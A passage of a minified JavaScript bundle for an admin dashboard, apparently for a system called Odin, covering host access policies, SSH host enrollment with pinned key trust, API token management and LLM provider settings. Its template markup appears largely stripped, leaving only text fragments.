dt(()=>{j(),I(),l=window.setInterval(I,5e3)}),It(()=>{l!==null&&window.clearInterval(l),l=null}),{guilds:t,loading:r,error:o,expanded:c,globalDraft:d,globalSaving:p,globalError:B,globalArrayInputs:h,globalMembers:b,globalListEditors:_,globalChanged:v,guildEnabled:y,guildMention:k,guildBots:x,hasOverride:A,toggleGuild:S,fetchAll:j,fetchGuilds:O,setGuildConfig:Q,setChannelConfig:Y,clearOverride:re,mutationPending:z,globalItemLabel:K,addGlobalItem:_e,removeGlobalItem:Ge,saveGlobalDefaults:de,connection:e,connectionState:C,connectionToken:s,connectionTokenDirty:n,connectionBusy:a,connectionError:i,saveDiscordCredentials:ie,connectDiscord:te,detachDiscord:R}}},yn=t=>t==null?t:JSON.parse(JSON.stringify(t));function n1({applyDefault:t,applyUser:e,applyDelete:s,onDefaultConfirmed:n=()=>{},onDefaultRollback:a=()=>{},onUserConfirmed:i=()=>{},onUserRollback:l=()=>{},onUserDeleted:r=()=>{},onError:o=()=>{}}){let c=Promise.resolve(),u=0,d=0;const p=new Map;let B=null;const h=new Map;function b(k){u+=1;const x=c.then(k,k);return c=x.catch(()=>{}),x}function w(k,x){B=yn(k),h.clear();for(const[A,S]of Object.entries(x||{}))h.set(A,yn(S))}function _(k){const x=yn(k),A=++d;return b(async()=>{try{await t(yn(x)),B=yn(x),A===d&&n(yn(x))}catch(S){A===d&&(a(yn(B)),o(S,{kind:"default"}))}})}function C(k,x){const A=yn(x),S=(p.get(k)||0)+1;return p.set(k,S),b(async()=>{try{await e(k,yn(A)),h.set(k,yn(A)),S===p.get(k)&&i(k,yn(A))}catch(L){S===p.get(k)&&(l(k,yn(h.get(k)??null)),o(L,{kind:"user",uid:k}))}})}function v(k){const x=(p.get(k)||0)+1;return p.set(k,x),b(async()=>{try{await s(k),h.delete(k),x===p.get(k)&&r(k)}catch(A){x===p.get(k)&&(l(k,yn(h.get(k)??null)),o(A,{kind:"delete",uid:k}))}})}async function m(){for(;;){const k=c;if(await k,k===c)return u}}async function y(k){for(;;){const x=await m(),A=await k();if(x===u)return A}}return{seed:w,saveDefault:_,saveUser:C,deleteUser:v,whenIdle:m,readSnapshot:y,get revision(){return u}}}const a1={components:{DiscordUserCombobox:Rb,DiscordIdentity:hi},template:` +
    +
    +

    Host Access Control

    + +
    +

    + Control which hosts each user can execute commands on and set per-user defaults. + Users without an explicit entry fall back to the default policy. +

    + +
    +
    +
    +
    +

    {{ error }}

    + +
    + +
    + +
    +

    Default Policy

    +

    Applied to users without an explicit host access entry.

    +
    {{ chip }}
    + +

    Default host: {{ defaultPolicy.default_host || 'None' }}

    +
    + + +
    +
    +

    User Overrides

    + + +
    + + +
    +
    + + +
    +
    + + +
    + + + + + + + + + + + + + + + + + + +
    UserTierHostsDefault HostRemove
    + +
    Invalid tier: {{ permissions.invalid_overrides[uid] }}
    {{ chip }}
    + {{ (users[uid] || defaultPolicy).default_host || 'None' }} + + +
    +
    +

    No user overrides configured. All users follow the default policy.

    +
    +
    + + + +
    +

    Edit hosts

    {{ editor === 'default' ? 'Default Policy' : (getMember(editor)?.display_name || editor) }}

    +
    + + +
    + +

    No matching hosts.

    +
    + + +

    {{ defaultHostError }}

    + +
    +
    +
    +
    +
    +
    + `,setup(){const t=f(!0),e=f(""),s=f(null),n=f([]),a=f({}),i=f({allowed_hosts:[],default_host:""}),l=f({}),r=f([]),o=f(!1),c=f([]),u=f({overrides:{},config_tiers:{},invalid_overrides:{}}),d=["admin","user","guest"],p=f({}),B=f(""),h=f(null),b=f(null),w=f(!1),_=f(""),C=f(!1),v=f(""),m=f(""),y=G(()=>n.value.filter($=>`${$} ${a.value[$]||""}`.toLowerCase().includes(v.value.toLowerCase()))),k=G(()=>n.value.filter($=>{var se,De;return((se=b.value)==null?void 0:se.allow_all)||((De=b.value)==null?void 0:De.allowed_hosts.includes($))})),x=G(()=>b.value?b.value.default_host&&!k.value.includes(b.value.default_host)?k.value.length?"Choose a new default from the allowed hosts before saving.":"No hosts are allowed. Select None for the default before saving.":C.value&&k.value.length&&!b.value.default_host?"Choose a new default from the allowed hosts before saving.":"":""),A=G(()=>[...new Set([...Object.keys(l.value),...Object.keys(u.value.overrides||{}),...Object.keys(u.value.config_tiers||{}),...Object.keys(u.value.invalid_overrides||{})])]),S=G(()=>A.value.filter($=>{var se,De;return`${((se=O($))==null?void 0:se.display_name)||""} ${((De=O($))==null?void 0:De.username)||""} ${$}`.toLowerCase().includes(m.value.toLowerCase())})),L=G(()=>{const $={};for(const se of c.value)$[se.id]=se;return $});function O($){return L.value[$]||null}function I($){if(!$||$.allow_all)return"All hosts";const se=$.allowed_hosts||[];return se.length>3?`${se.slice(0,3).join(", ")} +${se.length-3}`:se.join(", ")||"No hosts"}function J($){if($.allow_all)return["All hosts"];const se=$.allowed_hosts||[];return[...se.slice(0,2),...se.length>2?[`+${se.length-2}`]:[],...se.length?[]:["None"]]}function ie($){return r.value.includes($)?J(l.value[$]):["Inherit policy"]}async function te($){var De,E;if(w.value)return;const se=$==="default"?i.value:l.value[$]||i.value;B.value=$,b.value={...se,allowed_hosts:[...se.allowed_hosts]},C.value=!!se.default_host,v.value="",_.value="",await ns(),b.value&&!((De=h.value)!=null&&De.open)&&((E=h.value)==null||E.showModal())}function R(){var $;w.value||(($=h.value)==null||$.close(),b.value=null,B.value="")}function j($){if($.key!=="Tab")return;const se=[...h.value.querySelectorAll("button, input, select")].filter(M=>!M.matches(":disabled")),De=se[0],E=se.at(-1);if(!De){$.preventDefault();return}$.shiftKey&&document.activeElement===De?($.preventDefault(),E.focus()):!$.shiftKey&&document.activeElement===E&&($.preventDefault(),De.focus())}async function N(){var De;if(!b.value||w.value||x.value)return;const $=B.value,se={...b.value,allowed_hosts:[...b.value.allowed_hosts]};w.value=!0,_.value="",await ns(),(De=h.value)!=null&&De.open&&h.value.focus();try{$==="default"?(i.value=se,await re.saveDefault(se)):(l.value[$]=se,r.value.includes($)||r.value.push($),await re.saveUser($,se))}finally{w.value=!1}_.value||R()}function z($){var se,De;return((se=u.value.overrides)==null?void 0:se[$])||((De=u.value.config_tiers)==null?void 0:De[$])||"default"}async function ee($,se){var De;try{if(se==="default"){if(!((De=u.value.overrides)!=null&&De[$]))return;await U.del(`/api/permissions/user/${encodeURIComponent($)}`)}else await U.put(`/api/permissions/user/${encodeURIComponent($)}`,{tier:se});se==="default"?delete u.value.overrides[$]:u.value.overrides[$]=se,Ie.success("Permission tier updated")}catch(E){Ie.error(E.message||"Failed to update tier"),await _e()}}async function Q($){const se=p.value[$];if(se)try{await U.post(`/api/permissions/user/${encodeURIComponent($)}/repair`,{tier:se}),delete u.value.invalid_overrides[$],u.value.overrides[$]=se}catch(De){Ie.error(De.message||"Failed to repair tier")}}function Y($,se){return $?$.allowed_hosts===null||$.allowed_hosts===void 0?{allowed_hosts:[...se],default_host:$.default_host||"",allow_all:!0}:{allowed_hosts:$.allowed_hosts,default_host:$.default_host||"",allow_all:!1}:{allowed_hosts:[...se],default_host:se[0]||"",allow_all:!0}}const re=n1({applyDefault:async $=>{const se=$.allow_all?null:$.allowed_hosts;await U.put("/api/host-access/default-policy",{allowed_hosts:se,default_host:$.default_host})},applyUser:async($,se)=>{const De=se.allow_all?null:se.allowed_hosts;await U.put(`/api/host-access/user/${$}`,{allowed_hosts:De,default_host:se.default_host})},applyDelete:$=>U.del(`/api/host-access/user/${$}`),onDefaultConfirmed:()=>Ie.success("Default policy updated"),onDefaultRollback:$=>{$&&(i.value=$)},onUserConfirmed:$=>{const se=O($);Ie.success(`Updated access for ${se?se.display_name:$}`)},onUserRollback:($,se)=>{const De={...l.value};se?De[$]=se:delete De[$],l.value=De,se||(r.value=r.value.filter(E=>E!==$))},onUserDeleted:$=>{const se={...l.value};delete se[$],l.value=se,r.value=r.value.filter(De=>De!==$)},onError:($,se)=>{var E;w.value&&(_.value=$.message||"Failed to save. Your draft is retained; try again.");const De=se.uid?` ${((E=O(se.uid))==null?void 0:E.display_name)||se.uid}`:"";Ie.error(`${$.message||"Failed to save"} — reverted${De}`)}});let K=0;async function _e(){const $=++K;t.value=!0,e.value="";try{const se=await re.readSnapshot(()=>U.get("/api/host-access"));if($!==K)return;s.value=se,n.value=se.available_hosts||[],a.value=se.host_descriptions||{},i.value=Y(se.default_policy,n.value);const De=se.users||{};r.value=Object.keys(De);const E={};for(const[M,V]of Object.entries(De))E[M]=Y(V,n.value);l.value=E,re.seed(i.value,E),u.value=await U.get("/api/permissions/tiers")}catch(se){$===K&&(e.value=se.message||"Failed to fetch host access data")}finally{$===K&&(t.value=!1)}try{const se=await U.get("/api/discord/members")||[];$===K&&(c.value=se)}catch{$===K&&(c.value=[])}}function Ge(){o.value=!0}function de($){!/^\d{15,25}$/.test($)||l.value[$]||(l.value[$]={allowed_hosts:[...n.value],default_host:n.value[0]||"",allow_all:!1},r.value.includes($)||r.value.push($),re.saveUser($,l.value[$]),o.value=!1)}async function ue($){const se=O($);await Es({title:"Remove user override",message:`Remove the host access override for ${se?se.display_name:$}? They will fall back to the default policy.`,confirmLabel:"Remove",danger:!0})&&(await re.deleteUser($),l.value[$]||Ie.success(`Removed override for ${se?se.display_name:$}`))}dt(_e);function ve(){var $;($=h.value)==null||$.close(),b.value=null,B.value=""}return as(ve),It(ve),{loading:t,error:e,data:s,availableHosts:n,hostDescriptions:a,defaultPolicy:i,users:l,showAddUser:o,members:c,hostOverrideIds:r,fetchData:_e,getMember:O,openAddUser:Ge,addUserById:de,deleteUser:ue,permissions:u,validTiers:d,repairTiers:p,repairTier:Q,tierValue:z,setTier:ee,editor:B,hostQuery:v,userQuery:m,filteredHosts:y,allUserIds:A,visibleUserIds:S,hostSummary:I,hostChips:J,visibleHostChips:ie,hostDialog:h,draft:b,saving:w,saveError:_,requiresDefault:C,defaultHostOptions:k,defaultHostError:x,openEditor:te,closeEditor:R,saveEditor:N,trapEditorFocus:j}}},i1={template:` +
    +
    +

    Managed Hosts

    Live inventory, pinned SSH trust, and connection health.

    +
    +
    +
    {{ error }}
    +
    +
    Deletion is blocked by these references:
    +
    • {{ item.kind }} · {{ item.location }}
    +
    +
    + + + +
    +
    + + + + + + + + +
    AliasEndpointTrustStateLast testActions
    {{ host.alias }}
    {{ host.description || 'No description' }}
    {{ host.ssh_user }}@{{ host.address }}:{{ host.port }}
    {{ host.os }}
    {{ host.trust_state }}{{ host.targetable ? 'Targetable' : 'Disabled' }} · draining{{ host.last_test?.detail || 'Not tested this process' }}
    +
    +
    No managed hosts configured.
    + +
    +

    {{ editing ? 'Edit host' : 'Add host' }} · Step {{ step }} of 5

    +
    + + + + + + + + +
    +

    Install Odin's public key for {{ form.ssh_user }}@{{ form.address }}. Odin never accepts passwords or private keys here.

    {{ keyInfo.public_key }}
    {{ keyInfo.authorized_keys_command }}

    Fingerprint: {{ keyInfo.fingerprint }}. {{ keyInfo.permissions }}

    +

    Host CA enrollment requires a certificate-backed host. Verify its signing CA fingerprint out of band and paste the CA's SHA256 fingerprint, not the host leaf key fingerprint. The scan extracts the signing CA from the host certificate.

    Verify the host key out of band. Run ssh-keygen -lf /etc/ssh/ssh_host_ed25519_key.pub on the target and paste its SHA256 fingerprint.

    Observed: {{ observed.join(', ') }}
    +

    Test non-interactive authentication and platform identity before activation.

    {{ JSON.stringify(testResult,null,2) }}
    +

    Activation is live. Users with allowed_hosts: null gain this host automatically. Review grants on Host Access after saving.

    Open Host Access
    +
    +
    +
    `,setup(){const t=f([]),e=f(!1),s=f(""),n=f([]),a=f(!1),i=f(!1),l=f(1),r=f(""),o=f(!1),c=f(null),u=f(""),d=f([]),p=f(!1),B=f(null),h=f(""),b=()=>({alias:"",address:"",port:22,ssh_user:"root",os:"linux",description:"",trust_mode:"pinned",enabled:!0,confirm_local:!1,confirm_tofu:!1}),w=f(b()),_=G(()=>["127.0.0.1","localhost","::1"].includes(w.value.address));async function C(){e.value=!0,s.value="";try{const te=await U.get("/api/hosts");t.value=te.hosts||[],r.value=te.default_host||"",o.value=!!te.tofu_enabled}catch(te){s.value=te.message}finally{e.value=!1}}async function v(){try{await U.post("/api/hosts/settings",{default_host:r.value,allow_host_tofu:o.value}),Ie.success("Host settings saved and published live"),await C()}catch(te){Ie.error(te.message)}}function m(){u.value="",d.value=[],p.value=!1,B.value=null,c.value=null,h.value="",l.value=1,a.value=!0}function y(){i.value=!1,w.value=b(),m()}function k(te){i.value=!0,w.value={...b(),...te},m()}async function x(){try{c.value=await U.get("/api/hosts/public-key")}catch(te){Ie.error(te.message)}}async function A(te){try{const R=await U.post("/api/hosts/"+encodeURIComponent(te.alias)+"/import-legacy",{});i.value=!0,w.value={...b(),...te,trust_mode:"pinned"},m(),u.value=R.candidate_token,d.value=R.fingerprints||[],h.value=d.value.join(` +`),l.value=4,Ie.info("Imported existing known_hosts trust. Test before activation.")}catch(R){Ie.error(R.message)}}async function S(){try{const te=h.value.split(/\s+/).filter(Boolean),R={...w.value,expected_fingerprints:te,candidate_fingerprints:d.value},j=await U.post("/api/hosts/candidates",R);if(u.value=j.candidate_token,d.value=j.fingerprints||[],w.value.trust_mode==="tofu"&&R.candidate_fingerprints.length===0){w.value.confirm_tofu=!1,Ie.info("Fingerprint scanned. Review it, tick confirmation, then scan again.");return}l.value=4}catch(te){Ie.error(te.message)}}async function L(){var te,R;p.value=!1,B.value=null;try{const j=await U.post("/api/hosts/candidates/"+u.value+"/test",{});p.value=!!j.tested,B.value=j.last_test,p.value&&(l.value=5)}catch(j){const N=(te=j.data)==null?void 0:te.last_test;N&&typeof N=="object"&&!Array.isArray(N)&&(B.value=N);const z=(R=B.value)==null?void 0:R.detail;Ie.error(typeof z=="string"&&z.trim()?z:j.message)}}async function O(){try{await U.post("/api/hosts/candidates/"+u.value+"/commit",{}),Ie.success("Host saved and published live"),a.value=!1,await C()}catch(te){Ie.error(te.message)}}async function I(te){try{await U.post("/api/hosts/"+encodeURIComponent(te.alias)+"/enabled",{enabled:!te.enabled}),await C()}catch(R){Ie.error(R.message)}}async function J(te){var R;if(await Es("Delete host "+te.alias+"? Dependencies will block deletion.")){n.value=[];try{await U.del("/api/hosts/"+encodeURIComponent(te.alias)),await C()}catch(j){n.value=Array.isArray((R=j.data)==null?void 0:R.pending_references)?j.data.pending_references:[],Ie.error(j.message)}}}async function ie(te){if(await Es("Force revoke "+te.alias+"? Remote outcomes may be unknown."))try{await U.post("/api/hosts/"+encodeURIComponent(te.alias)+"/force-revoke",{}),await C()}catch(R){Ie.error(R.message)}}return dt(C),{hosts:t,loading:e,error:s,pendingReferences:n,wizard:a,editing:i,step:l,defaultHost:r,tofuEnabled:o,form:w,isLocal:_,keyInfo:c,candidate:u,observed:d,tested:p,testResult:B,fingerprintsText:h,load:C,saveSettings:v,beginAdd:y,beginEdit:k,loadKey:x,importLegacy:A,prepare:S,testConnection:L,commit:O,toggle:I,remove:J,forceRevoke:ie}}},l1={components:{DiscordIdentity:hi},template:` +
    +
    +

    API Tokens

    + +
    +

    + Manage API tokens for programmatic access, orchestrators, and web-chat identity. + Each token has its own user identity, permission tier, and host access scope. +

    + +
    +
    +
    +
    +

    {{ error }}

    + +
    + +
    + + + +
    +
    + Token Created + +
    +

    Copy this token now. It will not be shown again.

    +
    + {{ newToken }} + +
    +
    + + +
    +
    +

    Create Token

    + +
    +
    +
    +
    + +
    +
    + +
    +
    + +
    +
    + +
    +
    +
    + +
    + +
    +
    +
    + +

    Used when API requests don't specify a host.

    +
    +
    + +
    +
    + +
    +
    +
    + + +
    +

    Active Tokens

    +
    + No API tokens configured. +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + +
    User IDLabelTierHostsDefaultToolsSourceActions
    {{ t.label || '—' }} + {{ t.tier }} + + {{ t.allowed_hosts === null || t.allowed_hosts === undefined ? 'default policy' : t.allowed_hosts.length === 0 ? 'no host access' : t.allowed_hosts.join(', ') }} + + {{ t.default_host || 'policy' }} + + {{ t.allowed_tools && t.allowed_tools.length ? t.allowed_tools.length + ' tools' : 'tier default' }} + + + {{ t.source === 'config' ? 'config.yml' : 'dynamic' }} + + + + + + read-only
    +
    +
    + + + +
    + +
    + `,setup(){const t=f(!0),e=f(""),s=f(null),n=f([]),a=f([]),i=f("missing"),l=f(!1),r=f(!1),o=f(null),c=f(null),u=f(!1);async function d(O){var I;try{await U._request("DELETE","/api/tokens/unusable/"+O.index,{reason:O.reason,...O.user_id===void 0?{}:{user_id:O.user_id}}),Ie.success("Unusable token entry removed"),await _()}catch(J){Ie.error(((I=J.data)==null?void 0:I.error)||J.message||"Failed to remove unusable token")}}const p=f({user_id:"",username:"",tier:"admin",label:"",host_mode:"default",allowed_hosts:[],default_host:"",allowed_tools_str:""}),B=f({username:"",tier:"admin",label:"",host_mode:"default",allowed_hosts:[],default_host:"",allowed_tools_str:""}),h=G(()=>p.value.host_mode==="select"?p.value.allowed_hosts:p.value.host_mode==="none"?[]:n.value),b=G(()=>B.value.host_mode==="select"?B.value.allowed_hosts:B.value.host_mode==="none"?[]:n.value);function w(O){return O==="admin"?"text-xs px-1.5 py-0.5 rounded bg-red-900/50 text-red-400":O==="user"?"text-xs px-1.5 py-0.5 rounded bg-blue-900/50 text-blue-400":"text-xs px-1.5 py-0.5 rounded bg-gray-700 text-gray-400"}async function _(){t.value=!0,e.value="";try{const O=await U.get("/api/tokens");s.value=O.tokens||[],n.value=O.available_hosts||[],a.value=O.invalid_entries||[],i.value=O.store_status||"missing"}catch(O){e.value=O.message||"Failed to load tokens"}finally{t.value=!1}}function C(O){return!O||!O.trim()?[]:O.split(",").map(I=>I.trim()).filter(Boolean)}function v(O,I){const J=p.value.allowed_hosts;if(I&&!J.includes(O)&&J.push(O),!I){const ie=J.indexOf(O);ie>=0&&J.splice(ie,1)}}function m(O,I){const J=B.value.allowed_hosts;if(I&&!J.includes(O)&&J.push(O),!I){const ie=J.indexOf(O);ie>=0&&J.splice(ie,1)}}async function y(){var O;r.value=!0;try{const I=C(p.value.allowed_tools_str),J=p.value.host_mode,ie=J==="none"?[]:J==="select"?p.value.allowed_hosts:null,te={user_id:p.value.user_id.trim(),username:p.value.username.trim()||"API",tier:p.value.tier,label:p.value.label.trim(),allowed_tools:I.length?I:[]};ie!==null&&(te.allowed_hosts=ie),te.default_host=p.value.default_host||"";const R=await U.post("/api/tokens",te);o.value=R.token,p.value={user_id:"",username:"",tier:"admin",label:"",host_mode:"default",allowed_hosts:[],default_host:"",allowed_tools_str:""},l.value=!1,Ie.success("Token created"),await _()}catch(I){Ie.error(((O=I.data)==null?void 0:O.error)||I.message||"Failed to create token")}finally{r.value=!1}}function k(O){c.value=O;const I=O.allowed_hosts;let J="default";I==null?J="default":Array.isArray(I)&&I.length===0?J="none":Array.isArray(I)&&(J="select"),B.value={username:O.username||"",tier:O.tier||"admin",label:O.label||"",host_mode:J,allowed_hosts:Array.isArray(I)?[...I]:[],default_host:O.default_host||"",allowed_tools_str:(O.allowed_tools||[]).join(", ")}}async function x(){var O;if(c.value){u.value=!0;try{const I=C(B.value.allowed_tools_str),J=B.value.host_mode,ie={username:B.value.username,tier:B.value.tier,label:B.value.label,allowed_tools:I};J==="none"?ie.allowed_hosts=[]:J==="select"?ie.allowed_hosts=B.value.allowed_hosts:ie.allowed_hosts=null,ie.default_host=B.value.default_host||"",await U.put("/api/tokens/"+encodeURIComponent(c.value.user_id),ie),c.value=null,Ie.success("Token updated"),await _()}catch(I){Ie.error(((O=I.data)==null?void 0:O.error)||I.message||"Failed to update")}finally{u.value=!1}}}async function A(O){var J;if(await Es({title:"Regenerate token",message:`Regenerate token for ${O.username||O.user_id}? The old token will stop working immediately.`,confirmLabel:"Regenerate",danger:!0}))try{const ie=await U.post("/api/tokens/"+encodeURIComponent(O.user_id)+"/regenerate");o.value=ie.token,Ie.success("Token regenerated")}catch(ie){Ie.error(((J=ie.data)==null?void 0:J.error)||ie.message||"Failed to regenerate")}}async function S(O){var J;if(await Es({title:"Delete token",message:`Delete token for ${O.username||O.user_id}? This cannot be undone.`,confirmLabel:"Delete",danger:!0}))try{await U.del("/api/tokens/"+encodeURIComponent(O.user_id)),Ie.success("Token deleted"),await _()}catch(ie){Ie.error(((J=ie.data)==null?void 0:J.error)||ie.message||"Failed to delete")}}async function L(){if(o.value)try{await navigator.clipboard.writeText(o.value),Ie.success("Copied to clipboard")}catch{Ie.error("Copy failed — select and copy manually")}}return dt(_),{loading:t,error:e,tokens:s,availableHosts:n,invalidEntries:a,storeStatus:i,showCreate:l,creating:r,newToken:o,editing:c,saving:u,createForm:p,editForm:B,removeUnusable:d,createDefaultHostOptions:h,editDefaultHostOptions:b,fetchData:_,tierBadge:w,toggleCreateHost:v,toggleEditHost:m,createToken:y,startEdit:k,saveEdit:x,confirmRegenerate:A,confirmDelete:S,copyToken:L}}};function r1(t,e=()=>"unknown"){const s=t==null?void 0:t.quota;return!s||typeof s!="object"?[]:["primary","secondary"].flatMap(n=>{const a=s[n],i=Number(a==null?void 0:a.used_percent),l=Number(a==null?void 0:a.window_minutes);if(!a||!Number.isFinite(i)||i<0||!Number.isFinite(l)||l<=0)return[];let r;return l===300?r="5-hour usage limit":l===10080?r="Weekly usage limit":Number.isFinite(l)&&l>0?r=l<60?`${l}-minute usage limit`:l<1440?`${Math.round(l/60)}-hour usage limit`:`${Math.round(l/1440)}-day usage limit`:r=n==="primary"?"Primary usage limit":"Secondary usage limit",[{key:n,label:r,remaining:Math.round(Math.max(0,Math.min(100,100-i))),limitReached:i>=100,statusLabel:i>=100?"Limit reached":"",resetLabel:a.resets_at==null?"unknown":e(a.resets_at)}]})}function o1(t){return!!(t!=null&&t.quota_check_failed)}const c1=Object.freeze(["enabled","model","reasoning_effort","agent_reasoning_effort"]),u1=Object.freeze(["request_timeout_seconds","stream_stall_timeout_seconds","retry","connection_pool","context_compression","context_budget_overrides","context_utilization"]),d1=Object.freeze(["enabled","base_url","model","max_tokens","num_ctx"]),p1=Object.freeze(["enabled","base_url","model","reasoning_effort"]);function ro(t,e){return Object.fromEntries(e.map(s=>[s,t[s]]))}function ar(t,e={}){const s=ro(t,p1);return e.includeApiKey&&(s.api_key=t.api_key),s}function $o(t){return ro(t,["request_timeout_seconds","stream_stall_timeout_seconds","preset","model_profiles","context_utilization","openrouter"])}function ir(t){return ro(t,c1)}function lr(t){return ro(t,u1)}function rr(t,{includeApiKey:e=!1}={}){const s=ro(t,d1);return e&&(s.api_key=t.api_key),s}function jo(t){return{timeout:t.timeout}}function Jo(t,e=500){let s=null;const n=(...a)=>{s&&clearTimeout(s),s=setTimeout(()=>{s=null,t(...a)},e)};return n.pending=()=>s!==null,n.cancel=()=>{s&&(clearTimeout(s),s=null)},n}const f1={template:` +
    +
    +
    +

    LLM Configuration

    +

    Provider routing, model selection, credentials, and Codex accounts.

    +

    Serving through Codex

    +

    Serving through OpenAI-compatible

    +

    Serving through Ollama

    +

    Selected model is unavailable

    +
    + +
    + +
    +
    +
    + +
    + + +
    +

    Model Selection

    +

    Enabled providers supply model choices. Unavailable saved selections are retained until you choose another model.

    +
    +
    + +
    +
    + +

    Main model is configured on a disabled provider. Enable that provider below or choose another model.

    + + +
    +
    + +

    Agent model is configured on a disabled provider. Enable that provider below or choose another model.

    + + + +
    +

    + Per-spawn reasoning: none / low / medium / high / xhigh / max. Each choice maps to the selected model's native capability; omission uses its allowlist default. +

    + +

    {{ allowlistSummary }} · Used when Agent model is Auto

    +
    + + + +
    +
    + +

    Auxiliary model is configured on a disabled provider. Enable that provider below or choose another model.

    +

    Used for compaction, reflection, consolidation, and background follow-up. Its output feeds sessions and memory, so choose deliberately.

    +
    +
    +
    + + +
    +
    +

    Codex (OpenAI)

    +
    +
    + Connected +
    + +
    +
    + +
    + {{ auxData.unavailable_reason }} +
    +
    + + Advanced Settings + Transport, retries, and model-aware context policy + +
    +
    +
    TransportRequest lifecycle limits
    + + +
    +
    +
    Retry policyTransient request failures
    + + + +
    +
    +
    Connection poolShared Codex HTTP transport
    +

    + Saved values need a restart. This process still uses {{ llmStatus.codex.effective_connection_pool?.max_connections }} connections with {{ llmStatus.codex.effective_connection_pool?.keepalive_timeout }}s keepalive. +

    +

    + Saved values match this process. Future changes take effect after restart. +

    +

    Future changes take effect after restart; current process values are unavailable.

    + + +
    +
    +
    Context compressionLong-conversation compaction
    +

    + Saved values need a restart. This process still uses compression {{ llmStatus.codex.effective_context_compression?.enabled ? 'on' : 'off' }}, {{ formatContextCeiling(llmStatus.codex.effective_context_compression?.max_context_chars) }}, and {{ llmStatus.codex.effective_context_compression?.keep_recent_iterations }} recent iterations. +

    +

    + Saved values match this process. Future changes take effect after restart. +

    +

    Future changes take effect after restart; current process values are unavailable.

    + + + +
    +
    +
    +
    + Context budgets + Capability, working-set policy, and temporary evidence +
    + +
    +

    + Overrides describe usable input capability. Utilization is the working-set policy applied to larger models; budgets at or below 272,000 tokens keep legacy behavior. Learned clamps are temporary evidence from successful overflow recovery, not operator policy. +

    +
    + Loading context budgets… +
    + + +
    + +
    +
    +
    +

    Authentication

    +

    + OAuth credentials for ChatGPT subscription. Supports automatic refresh and pool rotation. +

    + +
    +
    +
    +
    + {{ codexError }} + +
    + +
    + +
    + No Codex credentials configured. Use the device login below or run + python scripts/codex_login.py +
    +
    + {{ codexData.account_count }} account{{ codexData.account_count !== 1 ? 's' : '' }} configured, + active: #{{ codexData.current_index + 1 }} +
    + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + +
    #LabelEmailPlanQuotaStatusActiveActions
    {{ a.index + 1 }} + + + + + + + {{ a.email || '—' }} + + {{ a.plan_type }} + + — + +
    +
    +
    + {{ block.label }} + {{ block.remaining }}% remaining +
    +
    +
    +
    + + {{ block.statusLabel ? block.statusLabel + ' · ' : '' }}Resets {{ block.resetLabel }} + +
    +
    + Quota check failed + — + + checked {{ quotaAge(a.quota.observed_at) }} ago + +
    + Error + Expired + Rate limited + Active + + Current + + + + +
    +
    +
    + + +
    +
    +

    Add Account (Device Login)

    + +
    +
    +
    +
    +

    1. Open: {{ deviceInfo.verify_url }}

    +

    2. Enter code: {{ deviceInfo.user_code }}

    +
    +
    +
    Waiting...
    + +
    +
    +
    +

    Authenticated as {{ deviceResult.email }}.

    + +
    +
    +

    {{ deviceError }}

    + +
    +
    +
    +
    +
    + +
    +

    Additional providers

    Connect compatible endpoints or Ollama. Their models appear above automatically.

    + +
    +
    +

    OpenAI-compatible endpoint

    +
    +
    Status unavailable
    +
    + Connected + Unreachable +
    + +
    +
    +
    +
    + +

    {{ compatibleCatalogueStatus }}

    +
    +
    + API Key +
    + Configured + +
    +
    +
    +
    +
    +
    + Advanced SettingsStreaming timeouts +
    +
    + + +
    +
    + +
    +
    +
    OpenRouter provider preferencesOrder uses lowercase endpoint tags, never display names. A per-model pin is preferred; disable fallbacks below to make it a hard pin.
    + + + + + + +

    require_parameters is always sent when tools or reasoning are present. Measured cached-token ratios appear in the selected model list after real calls.

    +
    + +
    +
    +
    + {{ compatibleStatus.health.error }} +
    +
    + + +
    +
    +

    Ollama (Local/Remote)

    +
    +
    Status unavailable
    +
    + Connected + Unreachable +
    + +
    +
    +
    +
    + +
    +
    + +
    +
    + +

    Prompt tokens sent as Ollama num_ctx. Higher values require more host memory.

    +
    +
    + +
    +
    + +
    +
    +
    + Advanced SettingsProvider request timeout +
    +
    + +
    + +
    +
    +
    + {{ ollamaStatus.health.error }} +
    +
    +
    +
    + +
    + `,setup(){const t=f(!0),e=f(null),s=15e3;let n=null,a=!1,i=null,l=null,r=!1;const o={codexBasic:null,codexAdvanced:null,ollamaBasic:null,ollamaAdvanced:null,compatibleBasic:null,compatibleAdvanced:null,auxiliary:null,mainModel:null,agents:null},c=g=>JSON.stringify(g),u=(g,T)=>{o[g]=c(T)},d=(g,T)=>o[g]!==null&&o[g]!==c(T),p=f(null),B=f(!1),h=f({main:"",main_capability:"medium",agent_capability:"adaptive"}),b=f(""),w=["none","low","medium","high","xhigh","max"],_=["none","low","medium","high","xhigh","max"],C=f({enabled:!1,model:"gpt-6.1-sol",reasoning_effort:"xhigh",agent_reasoning_effort:"auto",request_timeout_seconds:3600,stream_stall_timeout_seconds:180,retry:{max_retries:3,base_delay:1,max_delay:30},connection_pool:{max_connections:10,keepalive_timeout:30},context_compression:{enabled:!0,max_context_chars:null,keep_recent_iterations:30},context_budget_overrides:{},context_utilization:60}),v=["gpt-6-astra","gpt-6.1-sol","gpt-6-sol","gpt-6-luna","gpt-5.6-sol","gpt-5.6-terra","gpt-5.6-luna"],m=g=>!g||g==="auto"?null:g.startsWith("compat:")?"compat":g.startsWith("ollama:")?"ollama":g.includes(":")?null:"codex",y=g=>{var T,q;return((q=(T=p.value)==null?void 0:T[g==="compat"?"openai_compatible":g])==null?void 0:q.enabled)===!0},k=G(()=>y("codex")&&!y("compat")&&!y("ollama")),x=g=>{const T=g==="main"?h.value.main:g==="agent"?et.value.model:ne.value.enabled?ne.value.model:"";return A(T)},A=g=>{var q,Ee;const T=m(g);return!!(T&&((Ee=(q=p.value)==null?void 0:q[T==="compat"?"openai_compatible":T])==null?void 0:Ee.enabled)===!1)},S=g=>{var q;const T=g==="main"?h.value.main:g==="agent"?et.value.model:ne.value.model;return`Configured: ${((q=I.value.find(Ee=>Ee.ref===T))==null?void 0:q.name)||T.replace(/^(compat|ollama):/,"")} (provider disabled)`},L=g=>{var ze,mt;const T=[],q=m(((ze=p.value)==null?void 0:ze.main_model)||h.value.main);q===g&&T.push("Main"),(et.value.model===""?q:m(et.value.model))===g&&T.push("Agent");const Ee=((mt=p.value)==null?void 0:mt.auxiliary)||ne.value;return 